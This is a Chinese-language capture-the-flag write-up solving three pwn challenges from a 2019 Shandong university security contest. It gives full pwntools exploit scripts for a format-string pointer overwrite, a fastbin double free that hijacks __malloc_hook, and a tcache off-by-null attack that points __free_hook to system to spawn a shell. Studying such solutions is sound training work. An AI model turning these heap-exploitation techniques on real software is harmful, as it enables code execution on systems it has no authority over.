把之前比赛的题目做做
当时放弃拯救的我，把所有能保存的题目都保存了下来
深思杯2019山东省大学生网络安全技能大赛.zip

MinZhu

首先有一个检测，要把 key 找出来才能进入，使用 angr 就可以
语雀内容
找出来 key 是 xNd9y6

然后看一下位置，第四个

image.png

然后， 程序有一个后门，覆盖后面要执行的一个函数的地址为它就能打印出 flag 了

image.png

  1. from pwn import *
  2. p = process("./pwn")
  3. p.recvuntil("Key:")
  4. p.sendline("xNd9y6")
  5. p.recvuntil("your msg:")
  6. payload2 = fmtstr_payload(4, {0x804A034:0x080486B5})
  7. print(len(payload2))
  8. p.sendline(payload2)
  9. p.interactive()

image.png

heap_doublefree_x64

  1. from pwn import *
  2. context(log_level="DEBUG")
  3. p = process('./pwn')
  4. elf = ELF('./pwn')
  5. libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
  7. def add(size,content):
  8.   p.sendlineafter("choice:","1")
  9.   p.sendlineafter("length of data:\n",str(size))
  10.   p.recvuntil("Leave your message:\n")
  11.   p.send(content)
  13. def delete(index):
  14.   p.sendlineafter("choice:","2")
  15.   p.sendlineafter("want to delete:\n",str(index))
  17. def show():
  18.   p.sendlineafter("choice:","3")
  20. def modify(index,content):
  21.   p.sendlineafter("choice:","4")
  22.   p.sendlineafter("want to modify:\n",str(index))
  23.   p.sendlineafter("to modify:\n",content)
  25. def quit(suggest):
  26.   p.sendlineafter("choice:","5")
  27.   p.sendlineafter("your advice:\n",suggest)
  29. add(0x20,"1111")#1
  30. add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))#2
  31. add(0x20, p64(0) + p64(0x31))#3
  32. add(0x60, "4444")#4
  33. add(0x60, "5555")#5
  34. add(0x20, "2333")#6
  35. delete(1)
  36. delete(2)
  37. delete(1)
  38. add(0x20, "\x50")#7
  39. add(0x20, "\x50")#8
  40. add(0x20, "\x50")#9
  41. add(0x20, p64(0) + p64(0x111))#10
  42. delete(3)
  43. add(0x30, "\x20")#11
  44. show()
  45. p.recvuntil("Total:11,Index->11\nSticky note:")
  46. unsortedbin = u64(p.recv(6).ljust(8, '\x00'))
  47. libc_base = unsortedbin -0x100 - 0x3c4b20
  48. malloc_hook = libc_base + libc.sym['__malloc_hook']
  49. one_gadget = libc_base + 0xf1207
  50. malloc_addr = malloc_hook - 0x30 + 0xd
  52. add(0x60,"1212")#12
  53. add(0x60,"1313")#13
  54. add(0x60,"1414")#14
  55. delete(12)
  56. delete(13)
  57. delete(12)
  58. add(0x60, p64(malloc_addr))
  59. add(0x60, p64(malloc_addr))
  60. add(0x60, p64(malloc_addr))
  61. payload = "a" * 3 + p64(0) + p64(0) + p64(one_gadget)
  62. add(0x60, payload)
  63. p.recvuntil("Your choice:")
  64. p.sendline("1")
  65. p.recvuntil("Input the length of data:\n")
  66. p.sendline("21")
  67. p.interactive()

申请堆块的时候会在 0x06020C8（bss 段）维护一个表
分别是第几个申请的、大小、指针、1

image.png

不过没用上这里

free 的时候只是把存放的堆指针的地方给置为 0 了，没有把 chunk 给置为 0
fastbin double free 的时候是这么一个指针

image.png

image.png

可以把 fd 指针的最后一位改成 \x50，这样再去 malloc 的时候就能申请到 0x603050

  1. add(0x20,"1111")
  2. add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))#要注意0x603050那里的size
  3. add(0x20, "3333")
  4. add(0x60, "4444")#这俩0x60是为了确保有后面0x110大小的空间
  5. add(0x60, "5555")#0x70+0x70+0x30=0x110
  6. add(0x20, "2333")#这个是防止0x110与top chunk合并的
  7. delete(1)
  8. delete(2)
  9. delete(1)
  10. add(0x20, "\x50")
  11. add(0x20, "\x50")
  12. add(0x20, "\x50")
  13. add(0x20, p64(0) + p64(0x111))

然后 free 掉，再 malloc 回来去 show 就能显示出来，然而我们会改掉后面那一位，不过不要紧，后三位基本都是 0x00 的

  1. delete(3)
  2. add(0x30, "\x20")#11
  3. show()
  4. p.recvuntil("Total:11,Index->11\nSticky note:")
  5. unsortedbin = u64(p.recv(6).ljust(8, '\x00'))
  6. libc_base = unsortedbin -0x100 - 0x3c4b20#这个使用main_arena算出来的

然后就能计算出 malloc_hook 与 one_gadget 的地址了

  1. malloc_hook = libc_base + libc.sym['__malloc_hook']
  2. one_gadget = libc_base + 0xf1207
  3. malloc_addr = malloc_hook - 0x30 + 0xd

在我电脑上 one_gadget 中的 0xf1207 可以用
这个 malloc_addr 是算了个偏移,为了后面申请到 malloc_hook 的时候能有个 size 位绕过检查
然后还是上面的套路，fastbin double free 把 malloc_hook 的地址改为 one_gadget

  1. add(0x60,"1212")#12
  2. add(0x60,"1313")#13
  3. add(0x60,"1414")#14
  4. delete(12)
  5. delete(13)
  6. delete(12)
  7. add(0x60, p64(malloc_addr))
  8. add(0x60, p64(malloc_addr))
  9. add(0x60, p64(malloc_addr))
  10. payload = "a" * 3 + p64(0) + p64(0) + p64(one_gadget)
  11. add(0x60, payload)

然后去申请的时候就能拿到 shell 了

image.png

secnote

  1. # encoding=utf-8
  2. from pwn import *
  3. #context.log_level = 'debug'
  4. p = process("./pwn")
  5. elf = ELF("./pwn")
  6. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
  8. def add(index,leng,content):
  9.   p.sendlineafter("Your choice: ","1")
  10.   p.sendlineafter("Index: ",str(index))
  11.   p.sendlineafter("note len: ",str(leng))
  12.   p.sendlineafter("content: ",content)
  14. def check(index):
  15.   p.sendlineafter("Your choice: ","2")
  16.   p.sendlineafter("Index: ",str(index))
  18. def delete(index):
  19.   p.sendlineafter("Your choice: ","3")
  20.   p.sendlineafter("Index: ",str(index))
  22. for i in range(25):
  23.   add(i,0x78,'aaaa'+str(i))#0-24
  25. for i in range(7):
  26.   delete(i)#0-6
  28. delete(10)
  29. delete(11)
  30. delete(12)
  31. delete(13)
  32. delete(14)
  33. delete(15)
  35. p.sendlineafter("Your choice: ",'1'*0x600)
  36. p.sendlineafter("Index: ","50")# >31
  38. for i in range(7):
  39.   add(i,0x78,'bbbb'+str(i))#0-6
  41. add(25, 0x78, '25'+"b" * 0x76)#off by null 0x280->0x200
  43. add(26, 0x78, '26'+"b" * 0x6e)
  44. add(27, 0x78, '27'+"b" * 0x6e)
  45. add(28, 0x78, '28'+"b" * 0x6e)
  46. add(29, 0x78, '29'+"b" * 0x6e)
  47. add(30, 0x78, "/bin/sh\x00")
  49. for i in range(7):
  50.   delete(i)#0-6 tcache
  52. delete(16)
  53. delete(26)
  55. p.sendlineafter("Your choice: ",'1'*0x600)
  56. p.sendlineafter("Index: ","50")# >31
  58. for i in range(7):
  59.     add(i, 0x78, "tcache"+str(i))    # clear tcache
  61. add(31, 0x78, "aaaa31")
  63. p.recvuntil("Your choice: ")
  64. p.sendline("2")
  65. p.recvuntil("Index: ")
  66. p.sendline("27")
  67. p.recvuntil("Content: ")
  68. libc_addr = u64(p.recv(6).ljust(8, '\x00')) - 96 - 0x3ebc40
  70. free_hook = libc_addr + libc.symbols['__free_hook']
  71. system = libc_addr + libc.symbols["system"]
  73. add(10, 0x78, "aaaa10")
  74. delete(10)
  75. delete(27)
  77. add(10, 0x78, p64(free_hook))
  78. add(11, 0x78, p64(free_hook))
  79. add(12, 0x78, p64(system))
  81. p.recvuntil("Your choice: ")
  82. p.sendline("3")
  83. p.recvuntil("Index: ")
  84. p.sendline("30")
  86. p.interactive()

这个题目配了个 libc 2.27 的，所以应该是在 ubuntu 18 下的
限制了 size 的大小要小于等于 0x78，存在 off by null

image.png

首先把 tcache 填满，接下来 free 的那些就会放到 fastbin 中了

如果 scanf 读入的是一个很大的数的话他就会去申请一块空间，如果这个空间申请的足够大就能触发 malloc_consolidate，从而合并 fastbin 放到 unsorted bin 中去
所以，我们在 scanf 的时候去发送很大的一个数比如 ‘1’*600 就能让前面那些 fastbin 合并

image.png

再把之前放在 tcache 中的申请回来，然后去申请一个 chunk，正常情况应该是：把 unsorted bin 中那块 0x300 分成 0x80 与 0x280，但是如果全部写上加上后面那个 off by null 就会把 0x280 的 size 给改掉，改为 0x200

image.png

然后把那 0x200 申请掉，再申请的话就从 top chunk 中划分了(/bin/sh 那个)，但是此时图中 aaaa16 那里的 prev_size 依然是 0x280

image.png

这时候先把 tcache 填满了，再去 free 掉 aaaa16 那个，然后再次触发 malloc_consolidate 就会再给我们一个 0x300 大小的 free chunk（aaaa16 跟它前面那块）

image.png

先把 tcache 中的都申请完，然后再去申请一个，现在再去 check index27 的就能泄露出 unsorted bin 的地址

image.png

然后申请一个 index10，这时候正好申请到 index27 那里，那么接下来就是 fastbin double free 了，可以对着这个释放两次，一次 free(index27)，一次 free(index10)，然后把 free_hook 改为 system 的地址，然后去 free(index30) 也就是前面写入 /bin/sh 的那一个 chunk

image.png

参考：https://wzt.ac.cn/2019/11/04/sdnisc2019/